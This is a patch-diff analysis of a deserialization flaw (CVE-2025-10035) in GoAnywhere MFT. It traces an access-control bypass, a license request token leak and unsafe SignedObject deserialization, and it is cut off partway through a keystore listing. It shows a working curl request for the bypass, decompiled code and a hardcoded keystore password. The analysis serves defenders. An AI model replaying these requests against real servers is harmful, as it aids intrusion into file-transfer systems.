Overview
On September 18, 2025, Fortra published a security advisory for a new vulnerability affecting their managed file transfer product, GoAnywhere MFT. The new vulnerability, known as CVE-2025-10035, is described by the vendor as a deserialization vulnerability, whereby an attacker with a “validly forged license response signature” can achieve remote code execution via unsafe deserialization. The product release notes indicate the vendor patch was published three days prior, on September 15, 2025.
The following analysis details our current understanding of the vulnerability, and finds that the issue, as described by the vendor, is not just a single deserialization vulnerability, but rather a chain of three separate issues. This includes an access control bypass that has been known since 2023, the unsafe deserialization vulnerability CVE-2025-10035, and an as-yet unknown issue pertaining to how the attackers can know a specific private key.
As of September 24, 2025, there is no known exploit code publicly available, and the vendor has not indicated the vulnerability as having been exploited in-the-wild, although the vendor advisory has been updated to include IOCs, which is unusual for a vulnerability that has not been exploited in-the-wild.
Analysis
Our analysis is based upon comparing GoAnywhere MFT version 7.8.0 (Released April 24, 2025) against version 7.8.4 (Released September 15, 2025).
Access control bypass
Note: This access control bypass was originally documented by Ron Bowes, in our 2023 analysis of the patch for CVE-2023-0069.
We start by analyzing the class com.linoma.ga.ui.admin.servlet.AdminErrorHandlerServlet, located in the .\GoAnywhere\lib\gamft-7.8.0.jar and .\GoAnywhere\lib\gamft-7.8.4.jar libraries.
public class AdminErrorHandlerServlet
extends HttpServlet {
protected void doGet(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException {
Integer n = (Integer)httpServletRequest.getAttribute("javax.servlet.error.status_code");
String string = (String)httpServletRequest.getAttribute("javax.servlet.error.message");
Class clazz = (Class)httpServletRequest.getAttribute("javax.servlet.error.exception_type");
String string2 = (String)httpServletRequest.getAttribute("javax.servlet.error.request_uri");
Throwable throwable = (Throwable)httpServletRequest.getAttribute("javax.servlet.error.exception");
String string3 = httpServletRequest.getRemoteAddr();
- String string4 = httpServletRequest.getParameter("GARequestAction");
if (n == null && clazz == null && throwable == null) {
httpServletResponse.sendError(404);
return;
}
if (this.bypassHandling(n, string2)) {
return;
}
if (string2.startsWith(httpServletRequest.getContextPath() + "/license/Unlicensed.xhtml")) { // <-- [1]
- if (StringUtilities.isNotEmpty((String)string4) && string4.equalsIgnoreCase("activate")) { // <-- [2]
- String string5 = SessionUtilities.generateLicenseRequestToken((HttpSession)httpServletRequest.getSession()); // <-- [3]
- try {
- LicenseUtilities.requestOnlineActivation((HttpServletRequest)httpServletRequest, (HttpServletResponse)httpServletResponse, (String)string5); // <-- [4]
- return;
- }
- catch (Exception exception) {
- this.LOGGER.error(exception.getMessage(), (Throwable)exception);
- }
- }
- httpServletResponse.sendRedirect(string2);
+ String string4 = httpServletResponse.encodeRedirectURL(httpServletRequest.getContextPath() + "/license/Unlicensed.xhtml");
+ httpServletResponse.sendRedirect(string4);
return;
}
if (string2.startsWith(httpServletRequest.getContextPath() + "/license/ManualLicense.xhtml")) {
- httpServletResponse.sendRedirect(string2);
+ String string5 = httpServletResponse.encodeRedirectURL(httpServletRequest.getContextPath() + "/license/ManualLicense.xhtml");
+ httpServletResponse.sendRedirect(string5);
return;
}We can see from the above diff, that when this servlet handles a HTTP(S) GET request, a check is made to see if the javax.servlet.error.request_uri request attribute starts with the string /license/Unlicensed.xhtml ([1]). If a request parameter named GARequestAction has the value activate ([2]), then a call to SessionUtilities.generateLicenseRequestToken will happen ([3]). The result of generateLicenseRequestToken is then passed to LicenseUtilities.requestOnlineActivation ([4]) before the servlet finishes handling the request. The diff shows us that this functionality has been removed in the patched version.
To understand how we can reach this servlet, we inspect the web.xml file for the application and see the following, indicating that requests that will generate an error page response, such as a 404 (Not Found) or 401 (Unauthorized) response, will be serviced by com.linoma.ga.ui.admin.servlet.AdminErrorHandlerServlet.
<servlet>
<servlet-name>Error Handler Servlet</servlet-name>
<servlet-class>com.linoma.ga.ui.admin.servlet.AdminErrorHandlerServlet</servlet-class>
<init-param>
<param-name>errorPage</param-name>
<param-value>/common/Error.xhtml</param-value>
</init-param>
<init-param>
<param-name>errorBundle</param-name>
<param-value>com.linoma.dpa.j2ee.services.AdminContextErrors</param-value>
</init-param>
<load-on-startup>0</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>Error Handler Servlet</servlet-name>
<url-pattern>/servlets/error</url-pattern>
</servlet-mapping>
<error-page>
<error-code>400</error-code>
<location>/servlets/error</location>
</error-page>
<error-page>
<error-code>401</error-code>
<location>/servlets/error</location>
</error-page>
<error-page>
<error-code>403</error-code>
<location>/servlets/error</location>
</error-page>
<error-page>
<error-code>404</error-code>
<location>/servlets/error</location>
</error-page>
<error-page>
<error-code>405</error-code>
<location>/servlets/error</location>
</error-page>
<error-page>
<error-code>406</error-code>
<location>/servlets/error</location>
</error-page>
<error-page>
<error-code>408</error-code>
<location>/servlets/error</location>
</error-page>
<error-page>
<error-code>411</error-code>
<location>/servlets/error</location>
</error-page>
<error-page>
<error-code>413</error-code>
<location>/servlets/error</location>
</error-page>
<error-page>
<error-code>414</error-code>
<location>/servlets/error</location>
</error-page>
<error-page>
<error-code>416</error-code>
<location>/servlets/error</location>
</error-page>
<error-page>
<error-code>417</error-code>
<location>/servlets/error</location>
</error-page>
<error-page>
<error-code>500</error-code>
<location>/servlets/error</location>
</error-page>
<error-page>
<error-code>501</error-code>
<location>/servlets/error</location>
</error-page>
<error-page>
<error-code>503</error-code>
<location>/servlets/error</location>
</error-page>
<error-page>
<error-code>505</error-code>
<location>/servlets/error</location>
</error-page>If we can generate a 404 (i.e. Not Found), when requesting the /license/Unlicensed.xhtml URI, we can reach the code path shown in the diff. We can do this by simply appending some random characters to the end of the URI path, which will not be a valid file on the server, thus resulting in a 404. However when the AdminErrorHandlerServlet handles this, it checks the start of the URI to be /license/Unlicensed.xhtml, and we can reach the code path to call generateLicenseRequestToken ([3]).
As the GoAnywhere MFT application is under the root path of /goanywhere, the full URI will become /goanywhere/license/Unlicensed.xhtmlQAZ?GARequestAction=activate, as shown below (Where “QAZ” is appended to ensure we generate a 404 for the request).
C:\Users\sfewer-r7\Desktop\GoAnywhereMFT>curl -ik https://192.168.86.122:8001/goanywhere/license/Unlicensed.xhtmlQAZ?GARequestAction=activate
HTTP/1.1 302
X-UA-Compatible: IE=edge
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self' *.goanywhere.com https://maps.google.com https://csi.gstatic.com https://maps.googleapis.com https://maps.gstatic.com https://fonts.googleapis.com https://fonts.gstatic.com; img-src * data: blob:; script-src 'self' https://maps.google.com https://maps.googleapis.com 'unsafe-inline' 'unsafe-eval'; style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
Set-Cookie: ASESSIONID=0D85C57AAEC0F8AE2898CC50ACAC32D9; Path=/goanywhere; Secure; HttpOnly
Location: https://my.goanywhere.com/lic/request?bundle=p55wfyVKXDVM_bAVZtDLOg3PglFmtEOHyjm4vYZ9l2kwhyouIP6ieq_VZ6lJbVsf5J7KHrbKjwMKp5vLiZ0TMg0YYbc98T1h49c0qijQwg0JBpRHof--rTcYKvsuBmHUU5dGtj17Hf1Y6lN_Ft3jxi1lSgc7jGFoIKJoR80XfLn_CPS3NcNrS6hndoLhb467bNZsNJnyFfjfv-thUnLJWYDzjpszzDoOJ6mtC7_656FV_Gi9o84xbA2L3VcF4UtiPyWFoOBdM9ibfIDPRvaIEiDNy-RxRSrApypb6xsmCQNkoMYKo_a4sJMay6gf-v_qbwCZTl5WnEgLky82qNgMqoLM7-kGYthGOxd8CbVaWGz12FQ8DzMWWP10jWFOeuOqemNLjwF22I74SeWOYq-6NEWcJW6tmhT44s_NAEsDOYKIbUj_vttRzc61f5lLKiZyKZUaJzNzB5Vfbhe__px_1HUOTyUh6JAlOT2wqasYo_uPrS5MM1yNQNo4PHD3Yj4_2rg2NC_LAjFU3gxs65GO997HlgTo5JqSwLM1eo0xe6fJY4L-fKEQulAbSOqb4Z0XXDHJLA05DQ-IjWXzS6FdfQlI4Q6kqGF63u7c7lF16GZeoVh_LKRyeg35UphVe5-6KR5a28SdbVIbzi6uolQ18YQM66_1WWW4yE2GAGIch_ruHU2OuMzrn5ufy_CJ6VNplQ13oqp8Rt_clE-N68sUniE7PlhaadQFMcmWf0DfwMOHBCimOCGWEDGjycnKt5u51RH5TV-c-bnVVXIafmi-_Kli06e_5QKmLIzjJ7984aryRJ9UcK_rL0dR4x3YbPT-Z94wq86-JUDwZubO1eTh9yUIqbB8KyDJMOByRoU35TJVKXGPfg_6oz--vN3zjA2fDJf7Q-J-YCCQ54BSjZ1004BJcOsPbnP_OsdOuLApWUnk6OLVMoUTkow4sjQLXfZ8PUqS6qHCLPWfRiRE08kLNwVqIPrKHruE8p4vtZHgl7N-zxY1N24ZxaKGG9ht1qVEkc6-gj5a6s9A4cBB6jeJ7_OW_1fH9BbfVVl_i7b0eupVWDypv7ZgpvTtq_i46z8YmR91j322T9IxsLK4_pwB11vafuJL36qH62W0iJsb2-GzsY_GNRdy_Ls2LYcLP5uKihRj2QTwKcjUQ5J5PZPYCskzcQjNfYoz91a9N3N4RcriYFcZF7-Hmlh36k1MQ0BUdaet8CetbyFr3s2yVNzy670eYuhucNVHda6QPygmCmqaDgxKO-6YilYm7qb765g_Y3IEe9qn88Y2-wy0u7fYokRLtQgC4WmJpCH1N2SLiBV2q8g6war1xDHhN1yaJwmnIs2Ks1QjTjAbVsnwOp8k6877k_2cqaZFgCAL_hkn2Lraxiu5F-BQbajPQba9gkxc$2
Content-Length: 0
Date: Mon, 22 Sep 2025 08:27:35 GMTThe large Base64 blob we get back is known as a “bundle”. If we inspect how these bundles are created, we can see they are compressed ([5]), signed ([6]), encrypted ([7]), and then Base64 encoded ([8]).
public class BundleWorker {
private static final String CHARSET = "UTF-8";
protected static String bundle(String paramString1, KeyConfig paramKeyConfig, boolean paramBoolean, String paramString2) throws BundleException {
try {
byte[] arrayOfByte = compress(paramString1.getBytes("UTF-8")); // <-- [5]
arrayOfByte = sign(arrayOfByte, paramKeyConfig, paramString2); // <-- [6]
arrayOfByte = encrypt(arrayOfByte, paramKeyConfig.getVersion()); // <-- [7]
String str = new String(encode(arrayOfByte, paramBoolean), "UTF-8"); // <-- [8]
if (!"1".equals(paramKeyConfig.getVersion())) {
if (paramBoolean)
str = str.substring(0, str.length() - 2);
str = str + "$" + str;
}
return str;
// ...Compression is performed via GZIPOutputStream, as shown below.
private static byte[] compress(byte[] paramArrayOfbyte) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
GZIPOutputStream gZIPOutputStream = null;
try {
gZIPOutputStream = new GZIPOutputStream(byteArrayOutputStream);
gZIPOutputStream.write(paramArrayOfbyte);
} finally {
if (gZIPOutputStream != null)
gZIPOutputStream.close();
}
return byteArrayOutputStream.toByteArray();
}Signing is performed via a java.security.SignedObject using SHA512withRSA ([9]). We can note that when signing a bundle using the GoAnywhere application, the private key from something called getSigningAlias is used ([10]). We will return to this point later.
private static byte[] sign(byte[] paramArrayOfbyte, KeyConfig paramKeyConfig, String paramString) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException, IOException, UnrecoverableKeyException, CertificateException, KeyStoreException, NoSuchProviderException {
Signature signature = null;
String str = "SHA1withDSA";
if ("2".equals(paramKeyConfig.getVersion()))
str = "SHA512withRSA";
if (StringUtilities.isEmpty(paramString)) {
signature = Signature.getInstance(str);
} else {
signature = Signature.getInstance(str, paramString);
}
ObjectOutputStream objectOutputStream = null;
try {
PrivateKey privateKey = getPrivateKey(paramKeyConfig);
SignedContainer signedContainer = new SignedContainer();
signedContainer.setData(paramArrayOfbyte);
SignedObject signedObject = new SignedObject(signedContainer, privateKey, signature); // <-- [9]
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(signedObject);
return byteArrayOutputStream.toByteArray();
} finally {
if (objectOutputStream != null)
objectOutputStream.close();
}
}
private static PrivateKey getPrivateKey(KeyConfig paramKeyConfig) throws CertificateException, IOException, KeyStoreException, NoSuchAlgorithmException, UnrecoverableKeyException {
InputStream inputStream = null;
PrivateKey privateKey = null;
try {
KeyStore keyStore = KeyStore.getInstance(paramKeyConfig.getKeyStoreType());
inputStream = paramKeyConfig.getKeyStoreAsStream();
keyStore.load(inputStream, paramKeyConfig.getPassword());
Key key = keyStore.getKey(paramKeyConfig.getSigningAlias(), paramKeyConfig.getPassword()); // <-- [10]
if (key == null || !(key instanceof PrivateKey))
throw new KeyStoreException("Specified key not found: " + paramKeyConfig.getSigningAlias());
privateKey = (PrivateKey)key;
} finally {
if (inputStream != null)
inputStream.close();
}
return privateKey;
}
Encryption is performed using AES and some statically derived keys, and encoding is Base64, as outlined below. For brevity we will omit the entire encryption routine as it is well documented in prior analysis here and here.
private static byte[] encrypt(byte[] paramArrayOfbyte, String paramString) throws CryptoException {
LicenseEncryptor licenseEncryptor = LicenseEncryptor.getInstance();
return licenseEncryptor.encrypt(paramArrayOfbyte, paramString);
}
private static byte[] encode(byte[] paramArrayOfbyte, boolean paramBoolean) throws UnsupportedEncodingException {
byte[] arrayOfByte = null;
arrayOfByte = Base64.encodeBase64(paramArrayOfbyte, paramBoolean, !paramBoolean);
return arrayOfByte;
}Knowing how a bundle is created, we can decode, decrypt and decompress the license request bundle we retrieved from the /goanywhere/license/Unlicensed.xhtmlQAZ?GARequestAction=activate URI. Note we don’t need to verify the signature for the purpose of inspecting the contents of the bundle in our analysis, only the GoAnywhere application will need to verify the signature of incoming bundles.
Using the custom Java snippet to decrypt bundles from our prior analysis of CVE-2023-0669, we can inspect the bundle’s contents.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<request v="2" t="1">
<r>
<process>https://192.168.86.122:8001/goanywhere/lic/accept/ee90ebd6-d182-4fdf-80ee-9be5635785f9</process>
<cancel>https://192.168.86.122:8001/goanywhere/admin/License.xhtml</cancel>
</r>
<p c="1" v="7.8.0"/>
<s os="Linux">
<u>B2-2F-A0-3F-D7-2D</u>
</s>
</request>We can see the bundle contains some XML, with a URL to the /goanywhere/lic/accept/ endpoint and a UUID that, as detailed back in our 2023 analysis, is later used to enforce an access control on the /goanywhere/lic/accept/ endpoint.
Returning to the web.xml file, we can see requests to the /lic/accept/ endpoint are handled by com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.
<servlet>
<servlet-name>License Response Servlet</servlet-name>
<servlet-class>com.linoma.ga.ui.admin.servlet.LicenseResponseServlet</servlet-class>
<load-on-startup>0</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>License Response Servlet</servlet-name>
<url-pattern>/lic/accept/*</url-pattern>
</servlet-mapping>Diffing the LicenseResponseServlet we can see the following has changed.
public class LicenseResponseServlet
extends HttpServlet {
private static final long serialVersionUID = -441307309120983773L;
+ public static final String PATH_PREFIX = "/lic/accept/";
private static final Logger LOGGER = LoggerFactory.getLogger(LicenseResponseServlet.class);
public static final String ADMIN_LICENSE_OUTCOME = "license";
public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException {
+ Response response;
+ HttpSession httpSession;
String string = httpServletRequest.getParameter("bundle");
String[] stringArray = httpServletRequest.getRequestURI().split("/");
String string2 = stringArray[stringArray.length - 1];
- Response response = null;
- if (!SessionUtilities.isLicenseRequestTokenValid((String)string2, (HttpSession)httpServletRequest.getSession())) {
+ if (!SessionUtilities.isLicenseRequestTokenValid((String)string2, (HttpSession)(httpSession = httpServletRequest.getSession(false)))) {
LOGGER.error("Unauthorized bundle from invalid session: " + string);
+ SessionUtilities.cleanupPortalLicenseRequestToken((HttpSession)httpSession); // <-- [11]
httpServletResponse.sendError(400);
- httpServletRequest.getSession().removeAttribute(SessionAttributes.LICENSE_REQUEST_TOKEN.getAttributeKey());
return;
}
try {
response = LicenseAPI.getResponse((String)string);// <-- [12]
}
catch (Exception exception) {
LOGGER.error("Error parsing license response", (Throwable)exception);
- httpServletResponse.sendError(500);
- httpServletRequest.getSession().removeAttribute(SessionAttributes.LICENSE_REQUEST_TOKEN.getAttributeKey());
+ SessionUtilities.cleanupPortalLicenseRequestToken((HttpSession)httpSession);
+ httpServletResponse.sendError(400);
return;
}
- httpServletRequest.getSession().setAttribute("LicenseResponse", (Object)response);
- httpServletRequest.getSession().setAttribute(SessionAttributes.SESSION_GOTO_OUTCOME.getAttributeKey(), (Object)ADMIN_LICENSE_OUTCOME);
+ SessionUtilities.cleanupPortalLicenseRequestToken((HttpSession)httpSession);
+ httpSession.setAttribute("LicenseResponse", (Object)response);
+ httpSession.setAttribute(SessionAttributes.SESSION_GOTO_OUTCOME.getAttributeKey(), (Object)ADMIN_LICENSE_OUTCOME);
String string3 = httpServletRequest.getScheme() + "://" + httpServletRequest.getServerName() + ":" + httpServletRequest.getServerPort() + "/goanywhere/admin/License.xhtml";
httpServletResponse.sendRedirect(string3);
}
public void doGet(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException {
this.doPost(httpServletRequest, httpServletResponse);
}
}In the patched version, when requests are made to the /lic/accept/ endpoint, we see the addition of a new call to SessionUtilities.cleanupPortalLicenseRequestToken ([11]). While the original code only removed the LICENSE_REQUEST_TOKEN attribute, i.e. the UUID (stored in the session) that we can leak via the /goanywhere/license/Unlicensed.xhtml endpoint, the new patched code also removes a new attribute called LICENSE_ONLINE_DEACTIVATION_IN_PROGRESS. We will explore this new attribute further in the next section.
public static void cleanupPortalLicenseRequestToken(HttpSession paramHttpSession) {
if (paramHttpSession != null) {
paramHttpSession.removeAttribute(SessionAttributes.LICENSE_REQUEST_TOKEN.getAttributeKey());
paramHttpSession.removeAttribute(SessionAttributes.LICENSE_ONLINE_DEACTIVATION_IN_PROGRESS.getAttributeKey());
}
}
public static String generatePortalLicenseDeactivationRequestToken(HttpSession paramHttpSession) {
String str = UUID.randomUUID().toString();
if (paramHttpSession != null) {
paramHttpSession.setAttribute(SessionAttributes.LICENSE_REQUEST_TOKEN.getAttributeKey(), str);
paramHttpSession.setAttribute(SessionAttributes.LICENSE_ONLINE_DEACTIVATION_IN_PROGRESS.getAttributeKey(), Boolean.valueOf(true)); // <-- [13]
}
return str;
}
public static boolean isPortalLicenseDeactivationInProgress(HttpSession paramHttpSession) {
if (paramHttpSession != null) {
Boolean bool = (Boolean)paramHttpSession.getAttribute(SessionAttributes.LICENSE_ONLINE_DEACTIVATION_IN_PROGRESS
.getAttributeKey());
return (bool != null && bool.booleanValue());
}
return false;
}Therefore, a HTTP(S) POST request to the /goanywhere/lic/accept/ endpoint, with a valid request token leaked earlier via the /goanywhere/license/Unlicensed.xhtml endpoint, will process an attacker supplied “bundle” via a call to LicenseAPI.getResponse ([12] above). Within the method LicenseAPI.getResponse lies the unsafe deserialization issue we want to target.
Additional access controls
Looking further at the patch diff, we see several new additions regarding online license deactivation.
First we see how this new LICENSE_ONLINE_DEACTIVATION_IN_PROGRESS attribute is set. A call to the method com.linoma.ga.ui.admin.license.LicenseForm.requestOnlineDeactivation will now call the new method generatePortalLicenseDeactivationRequestToken ([14] below). This will set the LICENSE_ONLINE_DEACTIVATION_IN_PROGRESS attribute to be the boolean value True ([13] above).
public void requestOnlineDeactivation() {
try {
- String string = SessionUtilities.generateLicenseRequestToken((HttpSession)UIUtilities.getRequest().getSession());
+ String string = SessionUtilities.generatePortalLicenseDeactivationRequestToken((HttpSession)UIUtilities.getRequest().getSession()); // <-- [14]
CustomerPortalServerConfiguration customerPortalServerConfiguration = CustomerPortalServerConfiguration.getInstance();
String string2 = UIUtilities.getRequest().getScheme() + "://" + UIUtilities.getRequest().getServerName() + ":" + UIUtilities.getRequest().getServerPort();
String string3 = ProductLicenseAPI.getOnlineDeactivationRequest((String)string2, (String)string, (String)"/admin/License.xhtml");
FacesContext facesContext = FacesContext.getCurrentInstance();
String string4 = customerPortalServerConfiguration.getBaseURL() + "/lic/request?bundle=" + string3;
facesContext.getExternalContext().redirect(string4);
}
catch (Exception exception) {
LOGGER.error("Error building online deactivation request", (Throwable)exception);
AdminClientActions.handleUnexpectedError();
}
}Then in the class com.linoma.dpa.security.SecurityFilter, we see a modification for how certain endpoints can be accessed, based on whether this new LICENSE_ONLINE_DEACTIVATION_IN_PROGRESS attribute is set to True.
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
Object object;
Object object2;
servletRequest.setCharacterEncoding(DPASettings.getCurrentSettings().getCharacterEncoding());
HttpServletRequest httpServletRequest = (HttpServletRequest)servletRequest;
HttpServletResponse httpServletResponse = (HttpServletResponse)servletResponse;
SecurityFilterRequestWrapper securityFilterRequestWrapper = new SecurityFilterRequestWrapper(httpServletRequest);
String string = httpServletRequest.getServletPath() + Optional.ofNullable(httpServletRequest.getPathInfo()).orElse("");
if (AuthorizationAPI.isStaticResource((String)string)) {
filterChain.doFilter((ServletRequest)securityFilterRequestWrapper, servletResponse);
return;
}
boolean bl = true;
boolean bl2 = DPASettings.getCurrentSettings().isAdminUserCreated();
- if (this.isUnlicensedPage(string) || string.startsWith("/lic")) {
+ if (this.isUnlicensedPage(string)) {
bl = false;
}
if (bl) {
if (!ProductLicenseAPI.isLicensed()) {
String string2 = httpServletResponse.encodeRedirectURL(httpServletRequest.getContextPath() + "/license/Unlicensed.xhtml");
httpServletResponse.sendRedirect(string2);
return;
}
if (!bl2 && !string.equalsIgnoreCase("/wizard/InitialAccountSetup.xhtml")) {
String string3 = httpServletResponse.encodeRedirectURL(httpServletRequest.getContextPath() + "/wizard/InitialAccountSetup.xhtml");
httpServletResponse.sendRedirect(string3);
return;
}
- } else if (this.isUnlicensedPage(string) && ProductLicenseAPI.isLicensed()) {
+ } else if (this.isUnlicensedPage(string) && ProductLicenseAPI.isLicensed() && !SessionUtilities.isPortalLicenseDeactivationInProgress((HttpSession)httpServletRequest.getSession(false))) {
String string4 = httpServletResponse.encodeRedirectURL(httpServletRequest.getContextPath() + LOGIN_PAGE);
httpServletResponse.sendRedirect(string4);
return;
}
private boolean isUnlicensedPage(String string) {
- return string.equalsIgnoreCase("/license/Unlicensed.xhtml") || string.equalsIgnoreCase("/license/ManualLicense.xhtml");
+ return string.equalsIgnoreCase("/license/Unlicensed.xhtml") || string.equalsIgnoreCase("/license/ManualLicense.xhtml") || string.startsWith("/lic/accept/");
}The patch now prevents access to the /goanywhere/lic/accept/ endpoint if the product is licensed and license deactivation is not currently in progress, i.e. you can only reach the /goanywhere/lic/accept/ endpoint in a licensed product for which a call to the method requestOnlineDeactivation has already been made, as that is the only place on the code base where the new LICENSE_ONLINE_DEACTIVATION_IN_PROGRESS attribute is set to True.
Unsafe deserialization (aka CVE-2025-10035)
Inspecting LicenseAPI.getResponse, we can see it will call LicenseController.getResponse, which in turn will call BundleWorker.unbundle ([15]), passing in the Base64 encoded bundle the attacker has provided during a HTTP(S) POST request to the /goanywhere/lic/accept/ endpoint.
public class LicenseAPI {
public static Response getResponse(String paramString) throws BundleException, JAXBException {
return LicenseController.getResponse(paramString);
}
}
public class LicenseController {
protected static Response getResponse(String paramString) throws BundleException, JAXBException {
String str1 = getVersion(paramString);
String str2 = BundleWorker.unbundle(paramString, getProductKeyConfig(str1)); // <-- [15]
return (Response)inflate(str2, Response.class);
}
}We know from earlier that a bundle is compressed, signed, encrypted, and then Base64 encoded. Therefore to “unbundle” an input the opposite must be performed, i.e. Base64 decoded, decrypted, verified ([16] below), and then decompressed, as shown below.
package com.linoma.license.gen2;
public class BundleWorker {
protected static String unbundle(String paramString, KeyConfig paramKeyConfig) throws BundleException {
try {
if (!"1".equals(paramKeyConfig.getVersion()))
paramString = paramString.substring(0, paramString.indexOf("$"));
byte[] arrayOfByte = decode(paramString.getBytes(StandardCharsets.UTF_8));
arrayOfByte = decrypt(arrayOfByte, paramKeyConfig.getVersion());
arrayOfByte = verify(arrayOfByte, paramKeyConfig); // <-- [16]
return new String(decompress(arrayOfByte), StandardCharsets.UTF_8);
// ...Focusing on the verification operation, we can see from the diff below how an unsafe deserialization issue has been patched in the method com.linoma.license.gen2.BundleWorker.verify.
private static byte[] verify(byte[] byArray, KeyConfig keyConfig) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, InvalidKeyException, SignatureException, UnrecoverableKeyException, CertificateException, KeyStoreException {
String string = "SHA1withDSA";
if ("2".equals(keyConfig.getVersion())) {
string = "SHA512withRSA";
}
PublicKey publicKey = BundleWorker.getPublicKey(keyConfig);
Signature signature = Signature.getInstance(string);
SignedObject signedObject = (SignedObject)JavaSerializationUtilities.deserialize((byte[])byArray, SignedObject.class, (Class[])new Class[]{byte[].class});
if (keyConfig.isServer()) {
return ((SignedContainer)JavaSerializationUtilities.deserializeUntrustedSignedObject((SignedObject)signedObject, SignedContainer.class, (Class[])new Class[]{byte[].class})).getData();
}
boolean bl = signedObject.verify(publicKey, signature); // <-- [17]
if (!bl) {
throw new IOException("Unable to verify signature!");
}
- SignedContainer signedContainer = (SignedContainer)signedObject.getObject();
- return signedContainer.getData(); // <-- [18]
+ return BundleWorker.deserializeUntrustedSignedObject(signedObject, SignedContainer.class, byte[].class).getData(); // <-- [19]
}
+
+ public static <T> T deserializeUntrustedSignedObject(SignedObject signedObject, Class<T> clazz, Class<?> ... classArray) throws ClassNotFoundException, IOException {
+ AtomicReference atomicReference = new AtomicReference();
+ UntrustedSignatureChecker untrustedSignatureChecker = new UntrustedSignatureChecker(atomicReference::set);
+ try {
+ signedObject.verify(null, (Signature)untrustedSignatureChecker);
+ }
+ catch (Exception exception) {
+ throw new IOException("Unabled to verify expected class list against signed object", exception);
+ }
+ return (T)JavaSerializationUtilities.deserialize((byte[])((byte[])atomicReference.get()), clazz, (Class[])classArray);
+ }
}After the SignedObject has been verified ([17]), its contents are expected to be a com.linoma.license.gen2.SignedContainer object, and this SignedContainer is expected to return a byte[] via a call to getData ([18]). The patch replaces that logic with a call to a new helper routing BundleWorker.deserializeUntrustedSignedObject ([19]) that will ensure the object held by a SignedObject is in fact a SignedContainer, and not an arbitrary attacker controlled object.
This is where the unsafe deserialization lies, an attacker who can construct a bundle that contains a valid serialized SignedObject, can deserialize an arbitrary object held in that `SignedObject’. This implication here is the attacker must have access to the private key (in order to sign the object) corresponding to the public key used during verification.
If we inspect getPublicKey, as shown below, we can see it retrieves the public key from the key store corresponding to getVerifyingAlias ([20]), or “serverkey1” as it is called in the key store. However if we inspect getPrivateKey, which we detailed previously above ([10]), we can see it uses the private key corresponding to getSigningAlias, or “productkey1” as it is called in the key store.
private static PublicKey getPublicKey(KeyConfig paramKeyConfig) throws CertificateException, IOException, KeyStoreException, NoSuchAlgorithmException, UnrecoverableKeyException {
InputStream inputStream = null;
try {
KeyStore keyStore = KeyStore.getInstance(paramKeyConfig.getKeyStoreType());
inputStream = paramKeyConfig.getKeyStoreAsStream();
keyStore.load(inputStream, paramKeyConfig.getPassword());
Certificate certificate = keyStore.getCertificate(paramKeyConfig.getVerifyingAlias()); // <-- [20]
if (certificate == null)
throw new KeyStoreException("Specified public key not found: " + paramKeyConfig.getVerifyingAlias());
return certificate.getPublicKey();
} finally {
if (inputStream != null)
inputStream.close();
}
}Therefore we cannot actually create a valid signed object as we do not have the private key for “serverkey1”. The GoAnywhere MFT application only ships with a public key for “serverkey1”. The key store used is a Bouncy Castle key store, held in the file linomagen2.bcks within the linoma-license-core-4.5.0.jar file. This key store is static and is not modified at runtime. A call to getProductKeyConfig, shown below, will return a KeyConfig instance that describes the keys used for both verification and signing. This KeyConfig instance is passed to both BundleWorker.bundle and BundleWorker.unbundle methods.
private static KeyConfig getProductKeyConfig(String paramString) throws BundleException {
KeyConfig keyConfig = new KeyConfig(false);
InputStream inputStream = null;
try {
String str = "";
if ("2".equals(paramString))
str = "1";
inputStream = LicenseController.class.getResourceAsStream("linomagen2.bcks");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
IOUtils.copy(inputStream, byteArrayOutputStream);
keyConfig.setKeyStore(byteArrayOutputStream.toByteArray());
keyConfig.setSigningAlias("productkey" + str);
keyConfig.setVerifyingAlias("serverkey" + str);
keyConfig.setPassword("G@mft2018".toCharArray());
keyConfig.setVersion(paramString);
keyConfig.setKeyStoreType("BCFKS");
return keyConfig;
} catch (IOException iOException) {
throw new BundleException(iOException.getMessage(), iOException);
} finally {
if (inputStream != null)
IOUtils.closeQuietly(inputStream);
}
}We can inspect the Bouncy Castle key store further using the keytool utility and the bc-fips-1.0.2.4.jar Java provider library shipped with GoAnywhere MFT.
sfewer@sfewer-ubuntu-vm:~/Desktop/GoAnywhereMFT$ keytool -list -keystore linomagen2.bcks -storetype BCFKS -storepass G@mft2018 -providerpath ./bc-fips-1.0.2.4.jar -providerclass org.bouncycastle.jcajce.provider.BouncyCastleFipsProvider
Keystore type: BCFKS
Keystore provider: BCFIPS
Your keystore contains 4 entries
productkey, 25 Sep 2019, PrivateKeyEntry,
Certificate fingerprint (SHA-256): 4F:AF:76:91:E7:D0:67:CA:DA:A3:DF:4D:11:B6:A7:3C:A7:68:34:39:17:7C:B4:F2:5B:A5:AA:F1:C6:9A:68:AE
productkey1, 25 Sep 2019, PrivateKeyEntry,
Certificate fingerprint (SHA-256): B5:4B:C0:09:0C:80:24:15:9B:B1:EB:B4:65:4D:F3:75:1A:52:BF:A7:23:B9:F3:EF:81:9E:6E:01:0E:E9:18:32
serverkey, 25 Sep 2019, trustedCertEntry,
Certificate fingerprint (SHA-256): 32:48:44:F3:5F:C1:22:84:C4:E6:01:47:66:FB:33:20:FE:5D:9D:DE:D4:CB:CC:49:98:D7:19:1D:C2:D6:C1:76
serverkey1, 25 Sep 2019, trustedCertEntry,
